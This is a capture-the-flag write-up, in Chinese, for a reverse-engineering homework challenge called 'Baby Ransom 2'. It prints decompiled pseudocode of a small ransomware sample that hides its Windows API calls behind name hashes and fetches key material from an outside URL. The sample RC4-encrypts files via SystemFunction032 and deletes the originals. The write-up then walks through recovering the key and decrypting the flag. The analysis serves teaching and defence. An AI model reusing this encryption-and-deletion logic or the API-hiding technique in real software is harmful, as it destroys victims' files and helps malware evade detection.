Simple Reverse 0x31(2023 HW - Baby Ransom 2)
Background
Source code
:::spoiler IDA WinMain
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
HWND hWnd; // [rsp+60h] [rbp-A8h]
WNDCLASSW WndClass; // [rsp+70h] [rbp-98h] BYREF
struct tagMSG Msg; // [rsp+C0h] [rbp-48h] BYREF
memset(&WndClass, 0, sizeof(WndClass));
WndClass.lpfnWndProc = (WNDPROC)store_winword;
WndClass.hInstance = hInstance;
WndClass.lpszClassName = Caption;
WndClass.hbrBackground = CreateSolidBrush(0);
if ( !RegisterClassW(&WndClass) )
return 1;
hWnd = CreateWindowExW(0, Caption, Caption, 0xCF0000u, 100, 100, 800, 600, 0i64, 0i64, hInstance, 0i64);
if ( !hWnd )
return 2;
MainPayload();
ShowWindow(hWnd, nShowCmd);
memset(&Msg, 0, sizeof(Msg));
while ( GetMessageW(&Msg, 0i64, 0, 0) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
return 0;
}
::: :::spoiler IDA MainPayload
void __stdcall MainPayload()
{
LoadLibraryA(LibFileName);
LoadLibraryA(aWininetDll);
if ( !(unsigned int)DynamicAPIResolution() )
DoSomethingBad();
}
::: :::spoiler IDA DynamicAPIResolution
__int64 DynamicAPIResolution()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
p_InLoadOrderModuleList = &NtCurrentPeb()->Ldr->InLoadOrderModuleList;
for ( module = p_InLoadOrderModuleList;
module->InLoadOrderLinks.Flink != p_InLoadOrderModuleList;
module = module->InLoadOrderLinks.Flink )
{
dll_name = module->BaseDllName.Buffer;
dll_base = module->DllBase;
if ( dll_name )
{
if ( (*dll_name == 'k' || *dll_name == 'K')
&& (dll_name[1] == 'e' || dll_name[1] == 'E')
&& (dll_name[2] == 'r' || dll_name[2] == 'R')
&& (dll_name[3] == 'n' || dll_name[3] == 'N')
&& (dll_name[4] == 'e' || dll_name[4] == 'E')
&& (dll_name[5] == 'l' || dll_name[5] == 'L')
&& dll_name[6] == '3'
&& dll_name[7] == '2' ) // import kernel32 library
{
exportTable = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
num_of_names = exportTable->NumberOfNames;
name_array = dll_base + exportTable->AddressOfNames;
name_ordinal = dll_base + exportTable->AddressOfNameOrdinals;
func_array = dll_base + exportTable->AddressOfFunctions;
for ( i = 0i64; i < num_of_names; ++i )
{
api_name = (dll_base + *&func_array[4 * *&name_ordinal[2 * i]]);
case_0 = search_case(dll_base + *&name_array[4 * i]);
switch ( case_0 )
{
case 0x69D265FE6B1C110Fi64:
LoadLibraryA_0 = api_name;
break;
case 0x578960F1FC7FFF25i64:
GetProcAddress = api_name;
break;
case 0xFA55E32C9D72A921i64:
qword_140007A98 = api_name;
break;
case 0xE0746E00B47C0477i64:
GetLastError = api_name;
break;
case 0xE7BDCAD1F3AE0E13i64:
CreateDirectoryA = api_name;
break;
case 0x1C71D0537E2246F5i64:
FindFirstFileA = api_name;
break;
case 0x121E523CBB49F938i64:
FindNextFileA = api_name;
break;
case 0x1C8EF920B632E586i64:
FindClose = api_name;
break;
case 0x28D0403A889E4F69i64:
copyFileA = api_name;
break;
case 0x556A045B10DE85i64:
CloseHandle = api_name;
break;
case 0x2E97865AB85128C3i64:
ReadFile = api_name;
break;
case 0x2FA16C1D95E4306Ai64:
WriteFile = api_name;
break;
case 0x5D35AEBEDFD88117i64:
DeleteFileA = api_name;
break;
case 0xFC59546FD0D3D778i64:
GetFileSize = api_name;
break;
case 0xEBC4E8E9B1542DEEi64:
CreateFileA = api_name;
break;
}
}
}
else if ( (*dll_name == 'm' || *dll_name == 'M')
&& (dll_name[1] == 's' || dll_name[1] == 'S')
&& (dll_name[2] == 'v' || dll_name[2] == 'V')
&& (dll_name[3] == 'c' || dll_name[3] == 'C')
&& (dll_name[4] == 'r' || dll_name[4] == 'R')
&& (dll_name[5] == 't' || dll_name[5] == 'T') )// import msvcrt library
{
exportTable_1 = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
num_of_names_1 = exportTable_1->NumberOfNames;
name_array_1 = dll_base + exportTable_1->AddressOfNames;
name_ordinal_1 = dll_base + exportTable_1->AddressOfNameOrdinals;
func_array_1 = dll_base + exportTable_1->AddressOfFunctions;
for ( j = 0i64; j < num_of_names_1; ++j )
{
api_name_1 = (dll_base + *&func_array_1[4 * *&name_ordinal_1[2 * j]]);
case_1 = search_case(dll_base + *&name_array_1[4 * j]);
switch ( case_1 )
{
case 0x974ADB99DCFF7A24i64:
qword_140007B08 = api_name_1;
break;
case 0xD9C0619DA0F59BADi64:
malloc = api_name_1;
break;
case 0x2AB2847890E35C03i64:
sprintf_s = api_name_1;
break;
}
}
}
else if ( (*dll_name == 'u' || *dll_name == 'U')
&& (dll_name[1] == 's' || dll_name[1] == 'S')
&& (dll_name[2] == 'e' || dll_name[2] == 'E')
&& (dll_name[3] == 'r' || dll_name[3] == 'R')
&& dll_name[4] == '3'
&& dll_name[5] == '2' ) // import user32 library
{
exportTable_2 = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
num_of_names_2 = exportTable_2->NumberOfNames;
name_array_2 = dll_base + exportTable_2->AddressOfNames;
name_ordinal_2 = dll_base + exportTable_2->AddressOfNameOrdinals;
func_array_2 = dll_base + exportTable_2->AddressOfFunctions;
for ( k = 0i64; k < num_of_names_2; ++k )
{
api_name_2 = dll_base + *&func_array_2[4 * *&name_ordinal_2[2 * k]];
if ( search_case(dll_base + *&name_array_2[4 * k]) == 0x1E307D27BA21DDA4i64 )
qword_140007A80 = api_name_2;
}
}
else if ( (*dll_name == 'w' || *dll_name == 'W')
&& (dll_name[1] == 'i' || dll_name[1] == 'I')
&& (dll_name[2] == 'n' || dll_name[2] == 'N')
&& (dll_name[3] == 'i' || dll_name[3] == 'I')
&& (dll_name[4] == 'n' || dll_name[4] == 'N')
&& (dll_name[5] == 'e' || dll_name[5] == 'E')
&& (dll_name[6] == 't' || dll_name[6] == 'T') )// import wineinet library
{
exportTable_3 = (dll_base + getNtHdrs(dll_base)->OptionalHeader.DataDirectory[0].VirtualAddress);
num_of_names_3 = exportTable_3->NumberOfNames;
name_array_3 = dll_base + exportTable_3->AddressOfNames;
name_ordinal_3 = dll_base + exportTable_3->AddressOfNameOrdinals;
func_array_3 = dll_base + exportTable_3->AddressOfFunctions;
for ( m = 0i64; m < num_of_names_3; ++m )
{
api_name_3 = (dll_base + *&func_array_3[4 * *&name_ordinal_3[2 * m]]);
case_3 = search_case(dll_base + *&name_array_3[4 * m]);
switch ( case_3 )
{
case 0x8261F0DF5FDC0887i64:
InternetOpenA = api_name_3;
break;
case 0xE726A35A86C7641Ci64:
InternetOpenUrlA = api_name_3;
break;
case 0x6F4E79C87F04F3E6i64:
InternetReadFile = api_name_3;
break;
case 0x2DF8494D5C13046i64:
InternetCloseHandle = api_name_3;
break;
}
}
}
}
}
return 0i64;
}
::: :::spoiler IDA DoSomethingBad
void __stdcall DoSomethingBad()
{
HMODULE LibraryA_0; // rax
HANDLE FirstFileA; // [rsp+20h] [rbp-188h]
const void *space; // [rsp+30h] [rbp-178h] BYREF
DWORD fileSize; // [rsp+38h] [rbp-170h] BYREF
struct _WIN32_FIND_DATAA lpFindFileData; // [rsp+40h] [rbp-168h] BYREF
char folderName[24]; // [rsp+180h] [rbp-28h] BYREF
strcpy(folderName, "Microsoft Update Backup");
if ( (CreateDirectoryA(folderName, 0i64) || GetLastError() == ERROR_ALREADY_EXISTS) && !(unsigned int)InternetConnect() )
{
LibraryA_0 = LoadLibraryA_0(aAdvapi32);
SystemFunction032 = (__int64 (__fastcall *)(_QWORD, _QWORD))GetProcAddress(LibraryA_0, ProcName);
FirstFileA = FindFirstFileA(FileName, &lpFindFileData);
if ( FirstFileA != (HANDLE)-1i64 )
{
do
{
space = 0i64;
if ( (lpFindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0
&& !(unsigned int)Create_Read_File(lpFindFileData.cFileName, (LPVOID *)&space, &fileSize) )
{
if ( (unsigned int)sprintf_copyFile(lpFindFileData.cFileName, folderName) )
Create_Write_Delete_File(lpFindFileData.cFileName, space, fileSize);
}
}
while ( FindNextFileA(FirstFileA, &lpFindFileData) );
FindClose(FirstFileA);
}
}
}
::: :::spoiler IDA InternetConnect
__int64 InternetConnect()
{
unsigned int v1; // [rsp+30h] [rbp-38h]
BOOL i; // [rsp+34h] [rbp-34h]
_BYTE *lpBuffer; // [rsp+38h] [rbp-30h]
HINTERNET hFile; // [rsp+40h] [rbp-28h]
HINTERNET hInternet; // [rsp+48h] [rbp-20h]
LPDWORD *lpdwNumberOfBytesRead; // [rsp+50h] [rbp-18h] BYREF
lpBuffer = malloc(0x1000ui64);
hInternet = InternetOpenA(szAgent, 1u, 0i64, 0i64, 0);
if ( !hInternet )
return 1i64;
hFile = InternetOpenUrlA(hInternet, szUrl, 0i64, 0, INTERNET_FLAG_RELOAD, 0i64);
if ( hFile )
{
v1 = 0;
for ( i = InternetReadFile(hFile, lpBuffer, 0x1000u, &lpdwNumberOfBytesRead);
i && lpdwNumberOfBytesRead && v1 < 0x1000;
i = InternetReadFile(hFile, &lpBuffer[v1], 4096 - v1, &lpdwNumberOfBytesRead) )
{
v1 += lpdwNumberOfBytesRead;
}
qword_140007460 = (lpBuffer + 2687);
lpBuffer[2706] = 0;
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return 0i64;
}
else
{
InternetCloseHandle(hInternet);
return 2i64;
}
}
::: :::spoiler IDA Create_Read_File
__int64 __fastcall Create_Read_File(LPCSTR lpFileName, LPVOID *space, DWORD *fileSize)
{
HANDLE hFile; // [rsp+40h] [rbp-128h]
LPDWORD NumberOfBytesRead; // [rsp+48h] [rbp-120h] BYREF
char v6; // [rsp+50h] [rbp-118h] BYREF
hFile = CreateFileA(lpFileName, GENERIC_READ, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
if ( hFile == (HANDLE)-1i64 )
return 1i64;
*fileSize = GetFileSize(hFile, 0i64);
sub_140002A40((int)&v6, 256, (int)aD, *fileSize);
*space = malloc(*fileSize + 1i64);
if ( *space )
{
if ( ReadFile(hFile, *space, *fileSize, (LPDWORD)&NumberOfBytesRead, 0i64) )
{
*((_BYTE *)*space + *fileSize) = 0;
CloseHandle(hFile);
}
return 0i64;
}
else
{
CloseHandle(hFile);
return 1i64;
}
}
::: :::spoiler IDA sprintf_copyFile
__int64 __fastcall sprintf_copyFile(const char *FileName, const char *folderName)
{
char buffer[272]; // [rsp+30h] [rbp-128h] BYREF
sprintf_s(buffer, 0x104ui64, "%s\\%s", folderName, FileName);// FolderName => Microsoft Update Backup
// FileName => baby-ransom.exe
return copyFileA(FileName, buffer, 0i64);
}
::: :::spoiler IDA Create_Write_Delete_File
void __fastcall Create_Write_Delete_File(const char *fileName, const void *space, DWORD fileSize)
{
unsigned __int64 v3; // [rsp+40h] [rbp-178h]
__int64 v4; // [rsp+48h] [rbp-170h]
HANDLE hFile; // [rsp+50h] [rbp-168h]
DWORD nNumberOfBytesToWrite; // [rsp+68h] [rbp-150h] BYREF
LPCVOID lpBuffer; // [rsp+70h] [rbp-148h]
const struct ustring *key; // [rsp+78h] [rbp-140h] BYREF
__int64 v9; // [rsp+80h] [rbp-138h]
DWORD NumberOfBytesWritten[2]; // [rsp+88h] [rbp-130h] BYREF
char Buffer[272]; // [rsp+90h] [rbp-128h] BYREF
v9 = qword_140007460;
LODWORD(key) = 19;
v3 = -1i64;
do
++v3;
while ( fileName[v3] ); // 這個do_while loop的結果是0xf,因為"baby-ransom.exe"總共15個字
if ( v3 <= 0x13 )
{
v4 = -1i64;
do
++v4;
while ( fileName[v4] );
LODWORD(key) = v4;
}
lpBuffer = space;
nNumberOfBytesToWrite = fileSize;
SystemFunction032(&nNumberOfBytesToWrite, &key);
sprintf_s(Buffer, 0x104ui64, "enc_%s", fileName);
hFile = CreateFileA(Buffer, 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);
if ( hFile != (HANDLE)-1i64 )
{
if ( WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, NumberOfBytesWritten, 0i64) )
DeleteFileA(fileName);
CloseHandle(hFile);
}
}
:::
Recon
這一題只要慢慢分析其實很簡單,也有很多是上課就有教到的地方,一樣從上到下(source code)
- 首先,如果直接執行這個程式的話,過沒多久會跳出一個視窗,其他部分”好像”沒有甚麼特別攻擊的行為,從
WinMain
中可以大略知曉這些事情,也就是攻擊者事先決定好一個通知的視窗(就是要叫你付錢的視窗)的一些設定(包含顏色、字形、字體等等),接著就進到MainPayload
搞事 - 首先他先load
msvcrt.dll
和wininet.dll
這兩個library,再用上課教的==Dynamic API Resolution==,把原本process上的kernel32.dll
,msvcrt.dll
和user32.dll
也一併load到該thread,接著就進到==DoSomethingBad==這邊 - 從上到下就做幾件事情
- 創一個名叫
Microsoft Update Backup
的folder - 進行網路連線
- 試圖連線
https://shouldhavecat.com/robots.txt
這個網站 - 如果連線成功就讀取該網站的內容
- 試圖連線
- Load進
SystemFunction032
這個library$\to$非常重要 - 找目前目錄的第一個檔案(不限檔案類型)
- 進到
Create_Read_File
- 創一個file,名字和之前取得的檔案名稱一樣(假設爬到的file名稱是
flag.txt
,那新的file也是一樣的名字) - malloc一個大小為該檔案大小的空間(假設
flag.txt
的大小是0x11,malloc的空間就是0x11) - 讀flag.txt到這個malloc空間
- 創一個file,名字和之前取得的檔案名稱一樣(假設爬到的file名稱是
- 進到
sprintf_copyFile
,就是把./flag.txt
複製到./Microsoft Update Backup/flag.txt
中 - 進到
Create_Write_Delete_File
,這是最重要的部分- 計算RC4加密需要的key,這個就是從一開始從
https://shouldhavecat.com/robots.txt
讀取下來的內容中擷取一段8個bytes當作key - 利用
SystemFunction032
把我們的檔案加密 - 創一個
enc_flag.txt
這個檔案然後把加密的cipher寫進去
- 計算RC4加密需要的key,這個就是從一開始從
- 創一個名叫
- 加密的部分
從SystemFunction033這個網站可以知道
SystemFunction033
一開始的結構,我們可以順著這個結構去推敲解密需要的key1
2
3
4
5
6
7
8
9
10struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; typedef NTSTATUS(WINAPI* _SystemFunction033)( struct ustring* memoryRegion, struct ustring* keyPointer );
- 執行這行之前,跟一下他的資料結構,首先前4 bytes是代表大小,後4 bytes代表maximum length,後8 bytes代表該資料的pointer
- 第一個parameter就是要加密的檔案,大小就是0x11,儲存在
0x214E5567710
,所以要加密的明文是FLAG{test_134567}
- 第二個parameter就是加密所需要的key,大小是0x8,位置是
0x324E556613F
,所以加密所需的key是==2F 37 32 38 33 33 31 33==
- 既然已經知道所有的流程就直接使用線上工具解密即可
Exploit
直接用online tool decrypt cipher
- Ciphertext:
71 04 1F C7 93 1A 7C A0 E1 F5 08 44 D0 08 18 D7 1D E0 22 B5 A3 AD 3A C9 B2 D5 E7 40 41 4B 86 97 E8 2E 6B
- Key:
2F 37 32 38 33 33 31 33
Flag: FLAG{50_y0u_p4y_7h3_r4n50m?!hmmmmm}